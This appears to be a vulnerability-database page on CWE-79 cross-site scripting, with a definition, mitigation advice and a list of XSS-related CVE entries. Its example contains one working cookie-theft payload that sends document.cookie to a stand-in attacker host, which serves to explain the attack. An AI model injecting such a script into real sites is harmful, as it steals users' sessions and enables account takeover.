Fallos del tipo CWE-79

29.914 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-20248MEDIUMA vulnerability in the web-based management interface of Cisco TelePresence Management Suite (TMS) Software could allow an authenticated, reEPSS 0.4%CVE-2023-20249MEDIUMA vulnerability in the web-based management interface of Cisco TelePresence Management Suite (TMS) Software could allow an authenticated, reEPSS 0.4%CVE-2024-13392MEDIUMRate Star Review Vote – AJAX Reviews, Votes, Star Ratings <= 1.6.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-27599MEDIUMCI4MS: System Settings (Mail Settings) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.4%CVE-2023-47524MEDIUMWordPress CodeBard's Patron Button and Widgets for Patreon Plugin <= 2.1.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-47099LOWTeleJSON < 6.0.0 DOM-based XSS via parse() FunctionEPSS 0.4%CVE-2026-17209MEDIUMIBM Db2 Mirror for i is affected by multiple vulnerabilitiesEPSS 0.4%CVE-2023-51735MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2026-111984MEDIUMAUTOMATIC1111 stable-diffusion-webui Card Builder ui_extra_networks.py create_item_html cross site scriptingEPSS 0.4%CVE-2025-13732MEDIUMs2Member <= 251005 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-51723MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51739MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-23786MEDIUMWordPress affiliate-toolkit – WordPress Affiliate Plugin Plugin <= 3.3.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-51722MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-51730MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2026-62368HIGHSnipe-IT: Stored XSS via Custom Field name in asset-list column headersEPSS 0.4%CVE-2025-13612MEDIUMAlbum and Image Gallery Plus Lightbox <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's ShortcodeEPSS 0.4%CVE-2024-9276MEDIUMTMsoft MyAuth Gateway index.php cross site scriptingEPSS 0.4%CVE-2023-51736MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2023-28622MEDIUMWordPress Easy Slider Revolution Plugin <= 1.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%